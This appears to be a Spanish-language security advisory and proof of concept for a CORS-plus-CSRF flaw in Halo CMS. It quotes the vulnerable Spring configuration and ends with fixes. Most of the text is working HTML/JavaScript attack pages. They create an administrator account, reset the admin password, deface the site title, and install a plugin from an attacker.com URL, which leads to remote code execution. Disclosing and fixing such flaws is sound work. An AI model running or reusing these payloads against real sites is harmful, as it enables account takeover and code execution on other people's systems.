
Prueba de concepto que demuestra una configuración incorrecta combinada de CORS y una omisión de la protección CSRF en Halo CMS, lo que permite ataques de falsificación de solicitudes entre sitios para crear usuarios administradores, cambiar contraseñas, instalar complementos y modificar contenido.
Existe una vulnerabilidad crítica de ataque combinado en las versiones de Halo CMS hasta la 2.25.4 debido a dos configuraciones de seguridad incorrectas:
* (cualquier origen) con credentials: true/api/**, /apis/**) están excluidos de la protección CSRFCuando se combinan, permiten a un atacante realizar ataques de Cross-Site Request Forgery desde cualquier origen, evadiendo la protección de Same-Origin Policy que CORS está diseñado para hacer cumplir.
Puntuación CVSS v3.1: 9.3 (Crítica)
Vector CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
CWE: CWE-352 (Cross-Site Request Forgery) + CWE-942 (Política de Dominio Cruzado Permisiva)
CVE-2026-67921
Archivo: application/src/main/java/run/halo/app/security/CorsConfigurer.java
CorsConfigurationSource apiCorsConfigSource() {
var configuration = new CorsConfiguration();
configuration.setAllowedOriginPatterns(List.of("*")); // ← CUALQUIER origen
configuration.setAllowCredentials(true); // ← Permitir cookies
configuration.setAllowedHeaders(List.of(
HttpHeaders.AUTHORIZATION,
HttpHeaders.CONTENT_TYPE,
HttpHeaders.ACCEPT,
"X-XSRF-TOKEN",
HttpHeaders.COOKIE));
configuration.setAllowedMethods(List.of("GET", "POST", "PUT", "DELETE", "PATCH"));
source.registerCorsConfiguration("/api/**", configuration);
source.registerCorsConfiguration("/apis/**", configuration);
return source;
}
Impacto: Cualquier sitio web puede realizar solicitudes autenticadas a la API de Halo con las cookies del usuario.
Archivo: application/src/main/java/run/halo/app/security/CsrfConfigurer.java
@Override
public void configure(ServerHttpSecurity http) {
var csrfMatcher = new AndServerWebExchangeMatcher(
CsrfWebFilter.DEFAULT_CSRF_MATCHER,
new NegatedServerWebExchangeMatcher(
pathMatchers("/api/**", "/apis/**", "/actuator/**", "/system/setup")),
// ← Rutas de API excluidas de CSRF!
new NegatedServerWebExchangeMatcher(tokenAuthMatcher()));
http.csrf(csrfSpec -> csrfSpec.csrfTokenRepository(new CookieServerCsrfTokenRepository())
.requireCsrfProtectionMatcher(csrfMatcher));
}
Impacto: Las solicitudes de API no requieren tokens CSRF, incluso cuando se autentican mediante cookies de sesión.
| Protección | Solo | Combinada |
|---|---|---|
CORS * | Bloquea credenciales (impuesto por el navegador) | ¡Credenciales permitidas! |
| Sin CSRF | Protegido por Same-Origin Policy | ¡Evadido por CORS! |
| Resultado | Seguro | CSRF completo |
┌─────────────────────────────────────────────────────────────┐
│ El atacante aloja una página maliciosa en evil.com │
│ <form action="http://halo:8090/apis/..." method="POST"> │
│ <input name="..." value="..."> │
│ </form> │
│ <script>document.forms[0].submit()</script> │
└─────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────┐
│ El navegador de la víctima visita evil.com │
│ → El formulario se envía automáticamente a la API de Halo │
│ → El navegador incluye la cookie de sesión automáticamente │
│ → CORS: Origen * + credentials: true → ¡Solicitud permitida!│
│ → CSRF: /apis/** excluido → ¡No se requiere token! │
│ → La solicitud se ejecuta con los privilegios de la víctima│
└─────────────────────────────────────────────────────────────┘
<html>
<body>
<form id="csrf-form" action="http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users" method="POST">
<input type="hidden" name="apiVersion" value="v1alpha1"/>
<input type="hidden" name="kind" value="User"/>
<input type="hidden" name="metadata.name" value="hacker"/>
<input type="hidden" name="spec.password" value="hacker123"/>
<input type="hidden" name="spec.displayName" value="Hacker"/>
</form>
<script>document.getElementById('csrf-form').submit();</script>
</body>
</html>
<html>
<body>
<form id="csrf-form" action="http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users/admin/password" method="PUT">
<input type="hidden" name="password" value="newpassword123"/>
</form>
<script>
var xhr = new XMLHttpRequest();
xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users/admin/password', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.withCredentials = true;
xhr.send(JSON.stringify({password: 'newpassword123'}));
</script>
</body>
</html>
<html>
<body>
<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/plugins/-/install-from-uri', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.withCredentials = true;
xhr.send(JSON.stringify({uri: 'http://attacker.com/malicious-plugin.jar'}));
</script>
</body>
</html>
<html>
<body>
<script>
// Cambiar el título del sitio
var xhr = new XMLHttpRequest();
xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/systemconfigs', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.withCredentials = true;
xhr.send(JSON.stringify({site: {title: 'Hacked by Attacker'}}));
</script>
</body>
</html>
Crea csrf-test.html:
<!DOCTYPE html>
<html>
<head><title>Halo CSRF PoC</title></head>
<body>
<h1>Halo CORS+CSRF Attack PoC</h1>
<p>Esta página intentará modificar la configuración de Halo cuando se cargue.</p>
<script>
// Probar CSRF modificando el título del sitio
var xhr = new XMLHttpRequest();
xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/systemconfigs', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.withCredentials = true;
xhr.onload = function() {
if (xhr.status === 200 || xhr.status === 204) {
document.body.innerHTML += '<p style="color:green">¡ÉXITO! El ataque CSRF funcionó.</p>';
} else {
document.body.innerHTML += '<p style="color:red">Falló: ' + xhr.status + '</p>';
}
};
xhr.send(JSON.stringify({
"site": {
"title": "CSRF Attack Success - " + new Date().toISOString()
}
}));
</script>
</body>
</html>
csrf-test.html en un navegador mientras estás conectado a HaloAccess-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
| Ataque | Impacto | Severidad |
|---|---|---|
| Crear usuario administrador | Compromiso total del sistema | Crítica |
| Cambiar contraseña del administrador | Toma de control de la cuenta | Crítica |
| Instalar plugin malicioso | Ejecución remota de código | Crítica |
| Modificar contenido | Desfiguración | Alta |
| Eliminar datos | Pérdida de datos | Alta |
| Robar datos | Divulgación de información | Alta |
// Reemplazar el comodín con orígenes específicos
configuration.setAllowedOriginPatterns(List.of(
"https://yourdomain.com",
"https://admin.yourdomain.com"
));
// Eliminar las exclusiones de API del matcher CSRF
var csrfMatcher = new AndServerWebExchangeMatcher(
CsrfWebFilter.DEFAULT_CSRF_MATCHER,
new NegatedServerWebExchangeMatcher(tokenAuthMatcher()));
Para los endpoints de API, prefiere la autenticación con token Bearer en lugar de cookies de sesión, que no son vulnerables a CSRF.